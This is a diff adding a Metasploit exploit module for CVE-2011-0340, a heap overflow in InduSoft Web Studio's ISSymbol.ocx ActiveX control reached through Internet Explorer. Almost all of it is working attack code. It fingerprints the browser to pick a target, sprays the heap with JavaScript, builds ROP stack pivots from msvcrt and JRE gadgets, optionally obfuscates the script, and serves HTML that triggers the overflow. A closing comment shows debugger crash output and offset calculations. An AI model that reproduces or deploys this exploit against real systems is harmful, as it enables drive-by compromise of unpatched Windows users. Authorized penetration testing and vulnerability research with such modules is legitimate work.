1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "6.0" ,
20
+ :ua_maxver => "9.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => NormalRanking ,
24
+ :classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}" ,
25
+ :method => "InternationalSeparator"
26
+ } )
27
+
28
+
29
+ def initialize ( info = { } )
30
+ super ( update_info ( info ,
31
+ 'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow" ,
32
+ 'Description' => %q{
33
+ This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
34
+ SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
35
+ string argument for the InternationalSeparator() method of the ISSymbol control.
36
+ This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
37
+ } ,
38
+ 'License' => MSF_LICENSE ,
39
+ 'Author' =>
40
+ [
41
+ 'Alexander Gavrun' , # Vulnerability discovery
42
+ 'Dmitriy Pletnev' , # Vulnerability discovery
43
+ 'James Fitts' , # Metasploit module
44
+ 'juan vazquez' # Metasploit module
45
+ ] ,
46
+ 'References' =>
47
+ [
48
+ [ 'CVE' , '2011-0340' ] ,
49
+ [ 'OSVDB' , '72865' ] ,
50
+ [ 'BID' , '47596' ] ,
51
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ] ,
52
+ [ 'URL' , 'http://secunia.com/secunia_research/2011-37/' ]
53
+ ] ,
54
+ 'Payload' =>
55
+ {
56
+ 'Space' => 934 ,
57
+ 'DisableNops' => true ,
58
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
59
+ } ,
60
+ 'DefaultOptions' =>
61
+ {
62
+ 'InitialAutoRunScript' => 'migrate -f'
63
+ } ,
64
+ 'Platform' => 'win' ,
65
+ 'Targets' =>
66
+ [
67
+ [ 'Automatic' , { } ] ,
68
+ [ 'IE 6 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' } ] ,
69
+ [ 'IE 7 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' } ] ,
70
+ [ 'IE 8 on Windows XP SP3' , { 'Rop' => :msvcrt , 'Offset' => '0x5f4' } ] ,
71
+ [ 'IE 7 on Windows Vista' , { 'Rop' => nil , 'Offset' => '0x5f4' } ] ,
72
+ [ 'IE 8 on Windows Vista' , { 'Rop' => :jre , 'Offset' => '0x5f4' } ] ,
73
+ [ 'IE 8 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5f4' } ] ,
74
+ [ 'IE 9 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5fe' } ]
75
+ ] ,
76
+ 'Privileged' => false ,
77
+ 'DisclosureDate' => "Apr 28 2012" ,
78
+ 'DefaultTarget' => 0 ) )
79
+
80
+ register_options (
81
+ [
82
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
83
+ ] , self . class )
84
+
85
+ end
86
+
87
+ def get_target ( agent )
88
+ #If the user is already specified by the user, we'll just use that
89
+ return target if target . name != 'Automatic'
90
+
91
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
92
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
93
+
94
+ ie_name = "IE #{ ie } "
95
+
96
+ case nt
97
+ when '5.1'
98
+ os_name = 'Windows XP SP3'
99
+ when '6.0'
100
+ os_name = 'Windows Vista'
101
+ when '6.1'
102
+ os_name = 'Windows 7'
103
+ end
104
+
105
+ targets . each do |t |
106
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
107
+ print_status ( "Target selected as: #{ t . name } " )
108
+ return t
109
+ end
110
+ end
111
+
112
+ return nil
113
+ end
114
+
115
+ def ie_heap_spray ( my_target , p )
116
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
117
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
118
+ js_random_nops = Rex ::Text . to_unescape ( make_nops ( 4 ) , Rex ::Arch . endian ( my_target . arch ) )
119
+
120
+ # Land the payload at 0x0c0c0c0c
121
+ case my_target
122
+ when targets [ 7 ]
123
+ # IE 9 on Windows 7
124
+ js = %Q|
125
+ function randomblock(blocksize)
126
+ {
127
+ var theblock = "";
128
+ for (var i = 0; i < blocksize; i++)
129
+ {
130
+ theblock += Math.floor(Math.random()*90)+10;
131
+ }
132
+ return theblock;
133
+ }
134
+
135
+ function tounescape(block)
136
+ {
137
+ var blocklen = block.length;
138
+ var unescapestr = "";
139
+ for (var i = 0; i < blocklen-1; i=i+4)
140
+ {
141
+ unescapestr += "%u" + block.substring(i,i+4);
142
+ }
143
+ return unescapestr;
144
+ }
145
+
146
+ var heap_obj = new heapLib.ie(0x10000);
147
+ var code = unescape("#{ js_code } ");
148
+ var nops = unescape("#{ js_random_nops } ");
149
+ while (nops.length < 0x80000) nops += nops;
150
+ var offset_length = #{ my_target [ 'Offset' ] } ;
151
+ for (var i=0; i < 0x1000; i++) {
152
+ var padding = unescape(tounescape(randomblock(0x1000)));
153
+ while (padding.length < 0x1000) padding+= padding;
154
+ var junk_offset = padding.substring(0, offset_length);
155
+ var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
156
+ while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
157
+ sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
158
+ heap_obj.alloc(sprayblock);
159
+ }
160
+ |
161
+
162
+ else
163
+ # For IE 6, 7, 8
164
+ js = %Q|
165
+ var heap_obj = new heapLib.ie(0x20000);
166
+ var code = unescape("#{ js_code } ");
167
+ var nops = unescape("#{ js_nops } ");
168
+ while (nops.length < 0x80000) nops += nops;
169
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
170
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
171
+ while (shellcode.length < 0x40000) shellcode += shellcode;
172
+ var block = shellcode.substring(0, (0x80000-6)/2);
173
+ heap_obj.gc();
174
+ for (var i=1; i < 0x300; i++) {
175
+ heap_obj.alloc(block);
176
+ }
177
+ var overflow = nops.substring(0, 10);
178
+ |
179
+
180
+ end
181
+
182
+ js = heaplib ( js , { :noobfu => true } )
183
+
184
+ if datastore [ 'OBFUSCATE' ]
185
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
186
+ js . obfuscate
187
+ end
188
+
189
+ return js
190
+ end
191
+
192
+ def get_payload ( t , cli )
193
+ code = payload . encoded
194
+
195
+ # No rop. Just return the payload.
196
+ if t [ 'Rop' ] . nil?
197
+ prepend = [
198
+ 0x0c0c0c0c ,
199
+ 0x0c0c0c0c ,
200
+ 0x0c0c0c0c ,
201
+ 0x0c0c0c0c ,
202
+ 0x0c0c0c0c ,
203
+ 0x0c0c0c0c ,
204
+ 0x0c0c0c28 # Will finally become EIP
205
+ ] . pack ( "V*" )
206
+ return prepend + code
207
+ end
208
+
209
+ # Both ROP chains generated by mona.py - See corelan.be
210
+ case t [ 'Rop' ]
211
+ when :msvcrt
212
+ print_status ( "Using msvcrt ROP" )
213
+ stack_pivot = [
214
+ 0x0c0c0c0c , # ret from msvcrt.dll
215
+ 0x77c15ed6 , # ret from msvcrt.dll
216
+ 0x77c15ed6 , # ret from msvcrt.dll
217
+ 0x77c15ed6 , # ret from msvcrt.dll
218
+ 0x77c15ed6 , # ret from msvcrt.dll
219
+ 0x77c1f519 , # pop # ret from msvcrt.dll
220
+ 0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
221
+ ] . pack ( "V*" )
222
+ rop_payload = generate_rop_payload ( 'msvcrt' , code , { 'pivot' => stack_pivot , 'target' => 'xp' } )
223
+ else
224
+ print_status ( "Using JRE ROP" )
225
+ stack_pivot = [
226
+ 0x0c0c0c0c , # ret from msvcr71.dll
227
+ 0x7c376fff , # ret from msvcr71.dll
228
+ 0x7c376fff , # ret from msvcr71.dll
229
+ 0x7c376fff , # ret from msvcr71.dll
230
+ 0x7c376fff , # ret from msvcr71.dll
231
+ 0x7c376ffe , # pop # ret from msvcr71.dll
232
+ 0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
233
+ ] . pack ( "V*" )
234
+ rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => stack_pivot } )
235
+ end
236
+
237
+ return rop_payload
238
+ end
239
+
240
+ def load_exploit_html ( my_target , cli )
241
+ p = get_payload ( my_target , cli )
242
+ js = ie_heap_spray ( my_target , p )
243
+
244
+ # ActiveX parameters
245
+ clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
246
+ name = rand_text_alpha ( rand ( 50 ) + 1 )
247
+ boom = Rex ::Text . to_unescape ( "\x0c " * 6888 )
248
+
249
+ html = %Q|
250
+ <html>
251
+ <head>
252
+ <script>
253
+ #{ js }
254
+ </script>
255
+ </head>
256
+ <body>
257
+ <object classid='clsid:#{ clsid } ' id='#{ name } '></object>
258
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
259
+ <script language='javascript'>
260
+ #{ name } .InternationalSeparator(unescape("#{ boom } "));
261
+ </script>
262
+ </body></html>
263
+ |
264
+
265
+ return html
266
+ end
267
+
268
+ def on_request_uri ( cli , request )
269
+ agent = request . headers [ 'User-Agent' ]
270
+ uri = request . uri
271
+ print_status ( "Requesting: #{ uri } " )
272
+
273
+ my_target = get_target ( agent )
274
+ # Avoid the attack if no suitable target found
275
+ if my_target . nil?
276
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
277
+ send_not_found ( cli )
278
+ return
279
+ end
280
+
281
+ html = load_exploit_html ( my_target , cli )
282
+ html = html . gsub ( /^\t \t / , '' )
283
+ print_status ( "Sending HTML..." )
284
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
285
+ end
286
+
287
+ end
288
+
289
+ =begin
290
+ eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
291
+ eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc
292
+ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
293
+ ISSymbol!DllUnregisterServer+0xc9e2:
294
+ 100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????
295
+ 0:000> u eip
296
+ ISSymbol!DllUnregisterServer+0xc9e2:
297
+ 100127d2 8b01 mov eax,dword ptr [ecx]
298
+ 100127d4 8b5018 mov edx,dword ptr [eax+18h]
299
+ 100127d7 ffe2 jmp edx
300
+ 100127d9 cc int 3
301
+ 100127da cc int 3
302
+ 100127db cc int 3
303
+ 100127dc cc int 3
304
+ 100127dd cc int 3
305
+
306
+ * ebx
307
+ $ ruby pattern_offset.rb 41306941 6888
308
+ [*] Exact match at offset 240
309
+
310
+ * ecx
311
+ $ ruby pattern_offset.rb 336b4632 6888
312
+ [*] Exact match at offset 4208
313
+
314
+ =end
0 commit comments